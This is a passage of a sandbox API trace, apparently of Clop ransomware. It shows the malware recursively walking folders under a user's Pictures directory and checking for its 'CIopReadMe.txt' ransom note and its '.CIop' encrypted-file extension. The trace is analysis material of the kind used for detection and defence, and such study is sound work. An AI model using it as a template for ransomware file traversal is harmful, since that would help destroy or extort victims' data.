(lpString="CIopReadMe.txt") returned 14 [0138.515] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.515] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2="..") returned 1 [0138.515] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2=".") returned 1 [0138.516] lstrlenW (lpString=".CIop") returned 5 [0138.516] lstrlenW (lpString=".CIop") returned 5 [0138.517] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0138.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0138.517] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.517] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0138.517] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0138.517] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0138.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0138.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0138.517] SetErrorMode (uMode=0x1) returned 0x1 [0138.517] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0138.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0138.517] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0138.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0138.517] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0138.517] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0138.517] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0138.517] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.517] lstrlenW (lpString=".CIop") returned 5 [0138.518] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0138.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0138.518] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0138.518] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0138.518] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0138.518] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0138.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0138.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0138.518] SetErrorMode (uMode=0x1) returned 0x1 [0138.518] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0138.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0138.518] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0138.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0138.518] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0138.518] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0138.518] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0138.518] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0138.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0138.518] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.518] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0138.518] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0138.519] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.519] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.519] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.519] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0138.519] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0138.519] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0138.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0138.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0138.519] SetErrorMode (uMode=0x1) returned 0x1 [0138.519] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0138.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0138.519] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0138.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0138.519] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0138.519] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0138.519] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0138.519] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.519] lstrlenW (lpString=".CIop") returned 5 [0138.519] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0138.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0138.519] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0138.519] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0138.519] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0138.520] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0138.520] SetErrorMode (uMode=0x1) returned 0x1 [0138.520] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0138.520] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0138.520] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0138.520] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0138.520] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0138.520] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.520] lstrlenW (lpString=".CIop") returned 5 [0138.520] lstrlenW (lpString=".CIop") returned 5 [0138.520] lstrlenW (lpString=".CIop") returned 5 [0138.520] lstrlenW (lpString=".CIop") returned 5 [0138.520] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0138.520] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0138.520] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0138.520] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0138.520] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0138.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0138.520] SetErrorMode (uMode=0x1) returned 0x1 [0138.521] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0138.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0138.521] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0138.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0138.521] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc38 [0138.521] PathFindFileNameW 